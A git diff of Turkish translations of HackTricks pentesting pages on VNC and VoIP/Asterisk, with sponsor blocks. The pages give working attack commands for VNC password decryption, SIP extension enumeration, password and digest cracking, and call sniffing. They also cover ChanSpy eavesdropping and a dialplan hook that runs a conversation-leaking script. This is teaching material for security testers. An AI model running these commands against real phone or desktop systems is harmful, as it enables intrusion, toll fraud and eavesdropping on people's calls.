**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. Recon'dan raporlamaya kadar 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -100,7 +104,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -1,23 +1,29 @@
# 5800,5801,5900,5901 - Pentesting VNC
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks'i Destekleyin</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
## Temel Bilgiler
**Sanal Ağ Bilgisi (VNC)**, **Uzak Çerçeve Arabelleği (RFB)** protokolünü kullanarak başka bir bilgisayarla uzaktan kontrol ve işbirliği sağlamak için kullanılan sağlam bir grafik masaüstü paylaşım sistemidir. VNC ile kullanıcılar, klavye ve fare olaylarını iki yönlü olarak ileterek uzaktaki bir bilgisayarla sorunsuz bir şekilde etkileşimde bulunabilirler. Bu, gerçek zamanlı erişim sağlar ve bir ağ üzerinden verimli uzaktan yardım veya işbirliğini kolaylaştırır.
**Sanal Ağ Bilgisi (VNC)**, **Uzak Çerçeve Tamponu (RFB)** protokolünü kullanarak başka bir bilgisayarla uzaktan kontrol ve işbirliği sağlamak için kullanılan sağlam bir grafik masaüstü paylaşım sistemidir. VNC ile kullanıcılar, klavye ve fare olaylarını iki yönlü olarak ileterek uzaktaki bir bilgisayarla sorunsuz bir şekilde etkileşimde bulunabilirler. Bu, gerçek zamanlı erişim sağlar ve bir ağ üzerinden verimli uzaktan yardım veya işbirliğini kolaylaştırır.
VNC genellikle **5800 veya 5801 veya 5900 veya 5901** portlarını kullanır.
```
@ -29,9 +35,9 @@ PORT STATE SERVICE
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p <PORT> <IP>
msf> use auxiliary/scanner/vnc/vnc_none_auth
```
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#vnc)
### [**Kaba kuvvet**](../generic-methodologies-and-resources/brute-force.md#vnc)
## Kali kullanarak vnc'ye bağlanın
## Kali kullanarak vnc'ye bağlan
```bash
vncviewer [-passwd passwd.txt] <IP>::5901
```
@ -46,7 +52,7 @@ vncpwd <vnc password file>
```
Bu, 3des içinde düz metin VNC şifrelerini şifrelemek için kullanılan şifrenin yıllar önce tersine çevrildiği için mümkündür.\
**Windows** için bu aracı da kullanabilirsiniz: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
Erişimi kolaylaştırmak için aracı burada da kaydediyorum:
Aracı burada da kolay erişim için kaydediyorum:
{% file src="../.gitbook/assets/vncpwd.zip" %}
@ -54,6 +60,12 @@ Erişimi kolaylaştırmak için aracı burada da kaydediyorum:
* `port:5900 RFB`
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -63,7 +75,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -15,6 +15,14 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## VoIP Temel Bilgiler
VoIP'in nasıl çalıştığını öğrenmeye başlamak için kontrol edin:
@ -199,7 +207,7 @@ VoIP yazılımını tanımlamaya yardımcı olan diğer herhangi bir OSINT sayı
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
```
* **`svmap`** SIPVicious'tan (`sudo apt install sipvicious`): Belirtilen ağda SIP hizmetlerini bulacaktır.
* `svmap` **engellemesi kolaydır** çünkü User-Agent `friendly-scanner` kullanır, ancak `/usr/share/sipvicious/sipvicious` dosyasındaki kodu değiştirebilir ve bunu değiştirebilirsiniz.
* `svmap` **engellemesi kolaydır** çünkü User-Agent `friendly-scanner` kullanır, ancak `/usr/share/sipvicious/sipvicious` dosyasındaki kodu değiştirebilirsiniz.
```bash
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
@ -220,7 +228,7 @@ sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
```
#### Ek Ağ Numaralandırma
#### Ek Ağ Keşfi
PBX ayrıca aşağıdaki gibi diğer ağ hizmetlerini de açığa çıkarıyor olabilir:
@ -233,15 +241,15 @@ PBX ayrıca aşağıdaki gibi diğer ağ hizmetlerini de açığa çıkarıyor o
* **5432 (PostgreSQL)**: PostgreSQL veritabanı
* Ve diğerleri...
### Yöntem Numaralandırma
### Yöntemler Keşfi
PBX'te kullanılabilir **yöntemlerin hangileri olduğunu** bulmak mümkündür `SIPPTS enumerate` kullanarak [**sippts**](https://github.com/Pepelux/sippts)
PBX'te kullanılabilir **yöntemleri bulmak** için `SIPPTS enumerate` komutunu kullanmak mümkündür [**sippts**](https://github.com/Pepelux/sippts)
```bash
sippts enumerate -i 10.10.0.10
```
### Sunucu yanıtlarını analiz etme
Gönderdiğimiz mesajın ve başlıkların türüne bağlı olarak, sunucunun bize geri gönderdiği başlıkları analiz etmek çok önemlidir. [**sippts**](https://github.com/Pepelux/sippts) ile `SIPPTS send` kullanarak, tüm başlıkları manipüle ederek kişiselleştirilmiş mesajlar gönderebilir ve yanıtı analiz edebiliriz.
Gönderdiğimiz mesajın ve başlıkların türüne bağlı olarak, bir sunucunun bize geri gönderdiği başlıkları analiz etmek çok önemlidir. [**sippts**](https://github.com/Pepelux/sippts) aracılığıyla `SIPPTS send` ile tüm başlıkları manipüle ederek kişiselleştirilmiş mesajlar gönderebilir ve yanıtı analiz edebiliriz.
```bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
```
@ -261,12 +269,12 @@ svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
```bash
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
```
* **metasploit**: Metasploit ile uzantıları/kullanıcı adlarını da listeleyebilirsiniz:
* **metasploit**: Ayrıca metasploit ile uzantıları/kullanıcı adlarını sayabilirsiniz:
```
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
```
* **`enumiax` (`apt install enumiax`): enumIAX** bir Inter Asterisk Exchange protokolü **kullanıcı adı brute-force enumeratörü**dür. enumIAX, iki farklı modda çalışabilir; Sıralı Kullanıcı Adı Tahmini veya Sözlük Saldırısı.
* **`enumiax` (`apt install enumiax`): enumIAX** bir Inter Asterisk Exchange protokolü **kullanıcı adı brute-force enumeratörü**. enumIAX, iki farklı modda çalışabilir; Sıralı Kullanıcı Adı Tahmini veya Sözlük Saldırısı.
```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
@ -280,7 +288,7 @@ enumiax -v -m3 -M3 10.10.0.10
{% hint style="danger" %}
Bir **kullanıcı adı** uzantıyla aynı olabilir, ancak bu uygulama PBX sistemine, yapılandırmasına ve organizasyonun tercihlerine bağlı olarak değişebilir...
Eğer kullanıcı adı uzantıyla aynı değilse, onu kaba kuvvetle denemek için **kullanıcı adını bulmanız** gerekecek.
Eğer kullanıcı adı uzantıyla aynı değilse, **kaba kuvvetle denemek için kullanıcı adını bulmanız** gerekecektir.
{% endhint %}
* **`svcrack`** SIPVicious'tan (`sudo apt install sipvicious`): SVCrack, bir PBX'teki belirli bir kullanıcı adı/uzantı için şifreyi kırmanıza olanak tanır.
@ -298,9 +306,9 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
### VoIP Sniffing
Eğer bir **Açık Wifi ağı** içinde VoIP ekipmanı bulursanız, **tüm bilgileri dinleyebilirsiniz**. Dahası, daha kapalı bir ağda (Ethernet üzerinden bağlı veya korumalı Wifi) iseniz, **PBX ile ağ geçidi arasında** bilgi dinlemek için **MitM saldırıları** gerçekleştirebilirsiniz, örneğin [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing).
Eğer bir **Açık Wifi ağı** içinde VoIP ekipmanı bulursanız, **tüm bilgileri dinleyebilirsiniz**. Dahası, daha kapalı bir ağda (Ethernet üzerinden bağlı veya korumalı Wifi) iseniz, **PBX ile geçit arasında** bilgi dinlemek için **MitM saldırıları** gerçekleştirebilirsiniz, örneğin [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing).
Ağ bilgileri arasında, ekipmanı yönetmek için **web kimlik bilgileri**, kullanıcı **uzantıları**, **kullanıcı adı**, **IP** adresleri, hatta **hashlenmiş şifreler** ve **RTP paketleri** bulabilirsiniz; bu paketleri **konuşmayı duymak için** yeniden üretebilirsiniz ve daha fazlası.
Ağ bilgileri arasında, ekipmanı yönetmek için **web kimlik bilgileri**, kullanıcı **uzantıları**, **kullanıcı adı**, **IP** adresleri, hatta **hashlenmiş şifreler** ve **RTP paketleri** bulabilirsiniz; bu paketleri yeniden üreterek **konuşmayı duyabilirsiniz** ve daha fazlası.
Bu bilgileri elde etmek için Wireshark, tcpdump gibi araçlar kullanabilirsiniz... ancak **VoIP konuşmalarını dinlemek için özel olarak oluşturulmuş bir araç** [**ucsniff**](https://github.com/Seabreg/ucsniff) 'dir.
@ -313,7 +321,7 @@ Bu bilgileri elde etmek için Wireshark, tcpdump gibi araçlar kullanabilirsiniz
**Kimlik bilgileri nasıl gönderiliyor** öğrenmek için [**SIP REGISTER iletişimini**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) daha iyi anlamak için bu örneği kontrol edin.
* **`sipdump`** & **`sipcrack`,** **sipcrack**'in bir parçası (`apt-get install sipcrack`): Bu araçlar, SIP protokolü içindeki **digest kimlik doğrulamalarını** **pcap**'den **çıkarabilir** ve bunları **kaba kuvvet** ile çözebilir.
* **`sipdump`** & **`sipcrack`,** **sipcrack**'in bir parçası (`apt-get install sipcrack`): Bu araçlar, SIP protokolü içindeki **digest kimlik doğrulamalarını** **çıkartabilir** ve **kaba kuvvet** ile kırabilir.
```bash
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
@ -332,7 +340,7 @@ sippts tshark -f capture.pcap [-filter auth]
```
#### DTMF kodları
**SIP kimlik bilgileri** ağ trafiğinde bulunmanın yanı sıra, örneğin **sesli mesaj** erişimi için kullanılan DTMF kodlarının da bulunması mümkündür.\
**SIP kimlik bilgileri** yalnızca ağ trafiğinde bulunmakla kalmaz, aynı zamanda **sesli mesaj** erişimi gibi durumlarda kullanılan DTMF kodlarını da bulmak mümkündür.\
Bu kodlar **INFO SIP mesajları**, **ses** veya **RTP paketleri** içinde gönderilebilir. Kodlar RTP paketleri içindeyse, konuşmanın o kısmını kesip multimo aracını kullanarak çıkartabilirsiniz:
```bash
multimon -a DTMF -t wac pin.wav
@ -344,17 +352,17 @@ Asterisk'te **belirli bir IP adresinden** veya **herhangi bir IP adresinden** bi
host=10.10.10.10
host=dynamic
```
Eğer bir IP adresi belirtilmişse, host **her zaman REGISTER** istekleri göndermeye ihtiyaç duymayacaktır (REGISTER paketinde genellikle 30 dakika olan yaşam süresi gönderilir, bu da başka bir senaryoda telefonun her 30 dakikada bir REGISTER yapması gerektiği anlamına gelir). Ancak, VoIP sunucusundan çağrı almak için bağlantılara izin veren açık portlara sahip olması gerekecektir.
Eğer bir IP adresi belirtilmişse, host **her zaman REGISTER** istekleri göndermeyecek (REGISTER paketinde genellikle 30 dakika olan yaşam süresi gönderilir, bu da başka bir senaryoda telefonun her 30 dakikada bir REGISTER yapması gerektiği anlamına gelir). Ancak, VoIP sunucusundan çağrı almak için bağlantılara izin veren açık portlara sahip olması gerekecek.
Kullanıcıları tanımlamak için şu şekilde tanımlanabilirler:
* **`type=user`**: Kullanıcı yalnızca çağrı alabilir.
* **`type=friend`**: Peer olarak çağrı yapmak ve kullanıcı olarak almak mümkündür (uzantılarla kullanılır)
* **`type=peer`**: Peer olarak çağrı göndermek ve almak mümkündür (SIP-trunklar)
* **`type=friend`**: olarak çağrı yapmak ve kullanıcı olarak almak mümkündür (uzantılarla birlikte kullanılır)
* **`type=peer`**: olarak çağrı göndermek ve almak mümkündür (SIP-trunklar)
Ayrıca, insecure değişkeni ile güven oluşturmak da mümkündür:
* **`insecure=port`**: IP tarafından doğrulanan peer bağlantılarına izin verir.
* **`insecure=port`**: IP tarafından doğrulanan eş bağlantılara izin verir.
* **`insecure=invite`**: INVITE mesajları için kimlik doğrulama gerektirmez
* **`insecure=port,invite`**: Her ikisi de
@ -371,7 +379,7 @@ Ayrıca, insecure değişkeni ile güven oluşturmak da mümkündür:
Asterisk'te bir **bağlam**, **ilişkili uzantıları, eylemleri ve kuralları gruplandıran** adlandırılmış bir konteyner veya bölümüdür. Arama planı, Asterisk sisteminin temel bileşenidir, çünkü **gelen ve giden çağrıların nasıl işlendiğini ve yönlendirildiğini tanımlar**. Bağlamlar, arama planını düzenlemek, erişim kontrolünü yönetmek ve sistemin farklı bölümleri arasında ayrım sağlamak için kullanılır.
Her bağlam, genellikle **`extensions.conf`** dosyasında yapılandırma dosyasında tanımlanır. Bağlamlar, köşeli parantezlerle gösterilir ve bağlam adı bunların içinde yer alır. Örneğin:
Her bağlam, genellikle **`extensions.conf`** dosyasında yapılandırma dosyasında tanımlanır. Bağlamlar, köşeli parantezlerle belirtilir ve bağlam adı bunların içinde yer alır. Örneğin:
```bash
csharpCopy code[my_context]
```
@ -389,7 +397,7 @@ Bu, **herhangi bir başka numarayı aramaya** izin veren **başka bir bağlamdı
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
```
Eğer admin **varsayılan bağlamı** şu şekilde tanımlarsa:
Eğer yönetici **varsayılan bağlamı** şu şekilde tanımlarsa:
```
[default]
include => my_context
@ -419,17 +427,17 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
### Ücretsiz aramalar / Yanlış yapılandırılmış IVRS
IVRS, **Etkileşimli Sesli Yanıt Sistemi** anlamına gelir; kullanıcıların ses veya tuşlama girdileri aracılığıyla bilgisayarlı bir sistemle etkileşimde bulunmalarını sağlayan bir telekomünikasyon teknolojisidir. IVRS, bilgi sağlama, çağrıları yönlendirme ve kullanıcı girdilerini toplama gibi çeşitli işlevler sunan **otomatik çağrı yönetimi** sistemleri oluşturmak için kullanılır.
IVRS, **Etkileşimli Sesli Yanıt Sistemi** anlamına gelir; kullanıcıların ses veya tuşlama girdileri aracılığıyla bilgisayarlı bir sistemle etkileşimde bulunmalarını sağlayan bir telekomünikasyon teknolojisidir. IVRS, bilgi sağlama, çağrıları yönlendirme ve kullanıcı girdilerini yakalama gibi çeşitli işlevler sunan **otomatik çağrı yönetimi** sistemleri oluşturmak için kullanılır.
VoIP sistemlerindeki IVRS genellikle şunlardan oluşur:
1. **Sesli istemler**: Kullanıcıları IVR menü seçenekleri ve talimatları aracılığıyla yönlendiren önceden kaydedilmiş sesli mesajlar.
2. **DTMF** (Çift Tonlu Çok Frekanslı) sinyalleme: Telefon tuşlarına basarak üretilen tuşlama girdileri, IVR menülerinde gezinmek ve girdi sağlamak için kullanılır.
3. **Çağrı yönlendirme**: Çağrıları, kullanıcı girdisine dayalı olarak belirli departmanlar, ajanlar veya dahili numaralar gibi uygun bir hedefe yönlendirme.
4. **Kullanıcı girişi toplama**: Arayanlardan hesap numaraları, vaka kimlikleri veya diğer ilgili veriler gibi bilgileri toplama.
3. **Çağrı yönlendirme**: Çağrıları kullanıcı girdisine dayalı olarak belirli departmanlar, ajanlar veya dahili hatlar gibi uygun bir hedefe yönlendirme.
4. **Kullanıcı girişi yakalama**: Arayanlardan hesap numaraları, vaka kimlikleri veya diğer ilgili veriler gibi bilgileri toplama.
5. **Dış sistemlerle entegrasyon**: IVR sistemini veritabanları veya diğer yazılım sistemleriyle bağlayarak bilgiye erişim sağlama, güncelleme yapma, eylemler gerçekleştirme veya olayları tetikleme.
Asterisk VoIP sisteminde, **`extensions.conf`** dosyası ve `Background()`, `Playback()`, `Read()` gibi çeşitli uygulamalar kullanarak bir IVR oluşturabilirsiniz. Bu uygulamalar, sesli istemleri çalma, kullanıcı girdilerini toplama ve çağrı akışını kontrol etme konusunda yardımcı olur.
Asterisk VoIP sisteminde, **`extensions.conf`** dosyasını ve `Background()`, `Playback()`, `Read()` gibi çeşitli uygulamaları kullanarak bir IVR oluşturabilirsiniz. Bu uygulamalar, sesli istemleri çalma, kullanıcı girdilerini yakalama ve çağrı akışını kontrol etme konusunda yardımcı olur.
#### Zayıf yapılandırma örneği
```scss
@ -449,7 +457,7 @@ Aşağıdaki gibi bir uzantı kullanarak:
exten => _X.,1,Dial(SIP/${EXTEN})
```
Where **`${EXTEN}`** is the **extension** that will be called, when the **ext 101 is introduced** this is what would happen:
**`${EXTEN}`** **çağrılacak uzantıdır**, **ext 101 tanıtıldığında** bu gerçekleşecektir:
**`${EXTEN}`** çağrılacak **extension**'dır, **ext 101 tanıtıldığında** bu gerçekleşecektir:
```scss
exten => 101,1,Dial(SIP/101)
```
@ -467,7 +475,7 @@ SIP Digest Leak, hem donanım hem de yazılım IP Telefonları ile telefon adapt
1. Bir IP Telefon (kurban) herhangi bir portta (örneğin: 5060) dinliyor, telefon çağrılarını kabul ediyor
2. Saldırgan IP Telefone bir INVITE gönderiyor
3. Kurban telefon çalmaya başlıyor ve biri açıp kapatıyor (çünkü diğer uçta kimse telefonu mıyor)
3. Kurban telefon çalmaya başlıyor ve biri açıp kapatıyor (çünkü diğer uçta kimse telefonu yanıtlamıyor)
4. Telefon kapatıldığında, **kurban telefon saldırgana bir BYE gönderiyor**
5. **Saldırgan bir 407 yanıtı veriyor** ve **kimlik doğrulama talep ediyor** ve bir kimlik doğrulama meydan okuması yayımlıyor
6. **Kurban telefon, ikinci bir BYE'de kimlik doğrulama meydan okumasına bir yanıt sağlıyor**
@ -524,9 +532,9 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
### **Dinleme**
Asterisk'te, gerçekleşen konuşmaları duymak için **izlenecek uzantı(lar)** belirterek **`ChanSpy`** komutunu kullanmak mümkündür. Bu komut bir uzantıya atanmalıdır.
Asterisk'te, gerçekleşen konuşmaları duymak için **izlenecek uzantıları** (veya hepsini) belirten **`ChanSpy`** komutunu kullanmak mümkündür. Bu komut bir uzantıya atanmalıdır.
Örneğin, **`exten => 333,1,ChanSpy('all',qb)`** ifadesi, eğer **uzantı 333**'ü **aramak** isterseniz, **tüm** uzantıları **izleyeceğini**, yeni bir konuşma başladığında (**`b`**) sessiz modda (**`q`**) dinlemeye başlayacağını belirtir; çünkü buna müdahale etmek istemiyoruz. **`*`** tuşuna basarak veya uzantı numarasını tuşlayarak bir konuşmadan diğerine geçebilirsiniz.
Örneğin, **`exten => 333,1,ChanSpy('all',qb)`** ifadesi, eğer **uzantı 333'ü ararsanız**, **`all`** uzantılarını **izleyeceğini**, yeni bir konuşma başladığında (**`b`**) sessiz modda (**`q`**) dinlemeye başlayacağını belirtir, çünkü buna müdahale etmek istemiyoruz. **`*`** tuşuna basarak veya uzantı numarasını tuşlayarak bir konuşmadan diğerine geçebilirsiniz.
Sadece bir uzantıyı izlemek için **`ExtenSpy`** kullanmak da mümkündür.
@ -550,13 +558,13 @@ exten => h,1,System(/tmp/leak_conv.sh &)
**RTCPBleed**, Asterisk tabanlı VoIP sunucularını etkileyen büyük bir güvenlik sorunudur (2017'de yayımlandı). Bu zafiyet, VoIP konuşmalarını taşıyan **RTP (Gerçek Zaman Protokolü) trafiğinin**, **İnternetteki herkes tarafından dinlenip yönlendirilebilmesine** olanak tanır. Bu, RTP trafiğinin NAT (Ağ Adresi Çevirisi) güvenlik duvarlarından geçerken kimlik doğrulamayı atlamasından kaynaklanır.
RTP proxy'leri, iki veya daha fazla taraf arasında RTP akışlarını proxy'leyerek RTC sistemlerini etkileyen **NAT sınırlamalarını** gidermeye çalışır. NAT mevcut olduğunda, RTP proxy yazılımı genellikle sinyalizasyon (örneğin, SIP) aracılığıyla elde edilen RTP IP ve port bilgilerine güvenemez. Bu nedenle, bazı RTP proxy'leri, böyle bir **IP ve port çiftinin otomatik olarak öğrenildiği** bir mekanizma uygulamıştır. Bu genellikle gelen RTP trafiğini inceleyerek ve gelen RTP trafiği için kaynak IP ve portunu yanıtlanması gereken olarak işaretleyerek yapılır. "Öğrenme modu" olarak adlandırılabilecek bu mekanizma, **herhangi bir tür kimlik doğrulama kullanmaz**. Bu nedenle, **saldırganlar**, **RTP proxy'sine RTP trafiği gönderebilir** ve devam eden bir RTP akışı için arayan veya aranan kişi için gönderilmesi gereken proxy'lenmiş RTP trafiğini alabilir. Bu zafiyete RTP Bleed diyoruz çünkü saldırganların meşru kullanıcılara gönderilmesi gereken RTP medya akışlarını almasına olanak tanır.
RTP proxy'leri, RTC sistemlerini etkileyen **NAT sınırlamalarını** ele almak için iki veya daha fazla taraf arasında RTP akışlarını proxy'leyerek çalışır. NAT mevcut olduğunda, RTP proxy yazılımı genellikle sinyalizasyon (örneğin, SIP) aracılığıyla elde edilen RTP IP ve port bilgilerine güvenemez. Bu nedenle, bazı RTP proxy'leri, böyle bir **IP ve port çiftinin otomatik olarak öğrenildiği** bir mekanizma uygulamıştır. Bu genellikle gelen RTP trafiğini inceleyerek ve gelen RTP trafiği için kaynak IP ve portunu yanıtlanması gereken olarak işaretleyerek yapılır. "Öğrenme modu" olarak adlandırılabilecek bu mekanizma, **herhangi bir tür kimlik doğrulama kullanmaz**. Bu nedenle, **saldırganlar**, **RTP proxy'sine RTP trafiği gönderebilir** ve devam eden bir RTP akışı için arayan veya aranan kişi için olması gereken proxy'lenmiş RTP trafiğini alabilir. Bu zafiyete RTP Bleed diyoruz çünkü saldırganların meşru kullanıcılara gönderilmesi gereken RTP medya akışlarını almasına olanak tanır.
RTP proxy'lerinin ve RTP yığınlarının bir diğer ilginç davranışı, bazen **RTP Bleed'e karşı savunmasız olsalar bile**, **herhangi bir kaynaktan RTP paketlerini kabul edip iletebilmeleri**dir. Bu nedenle, saldırganlar meşru olanın yerine kendi medyalarını enjekte etmelerine olanak tanıyan RTP paketleri gönderebilir. Bu saldırıya RTP enjeksiyonu diyoruz çünkü mevcut RTP akışlarına meşru olmayan RTP paketlerinin enjekte edilmesine olanak tanır. Bu zafiyet hem RTP proxy'lerinde hem de uç noktalarında bulunabilir.
RTP proxy'leri ve RTP yığınlarının bir diğer ilginç davranışı, bazen, **RTP Bleed'e karşı savunmasız olsalar bile**, **herhangi bir kaynaktan gelen RTP paketlerini kabul edip iletebilecekleri ve/veya işleyebilecekleridir**. Bu nedenle, saldırganlar, meşru olanın yerine kendi medyalarını enjekte etmelerine olanak tanıyan RTP paketleri gönderebilir. Bu saldırıya RTP enjeksiyonu diyoruz çünkü mevcut RTP akışlarına meşru olmayan RTP paketlerinin enjekte edilmesine olanak tanır. Bu zafiyet hem RTP proxy'lerinde hem de uç noktalarında bulunabilir.
Asterisk ve FreePBX geleneksel olarak **`NAT=yes` ayarını** kullanmıştır, bu da RTP trafiğinin kimlik doğrulamayı atlamasına olanak tanır ve bu da aramalarda sesin olmamasına veya tek yönlü ses sorununa yol açabilir.
Asterisk ve FreePBX, RTP trafiğinin kimlik doğrulamayı atlamasına olanak tanıyan **`NAT=yes` ayarını** geleneksel olarak kullanmıştır; bu da aramalarda sesin olmamasına veya tek yönlü ses sorununa yol açabilir.
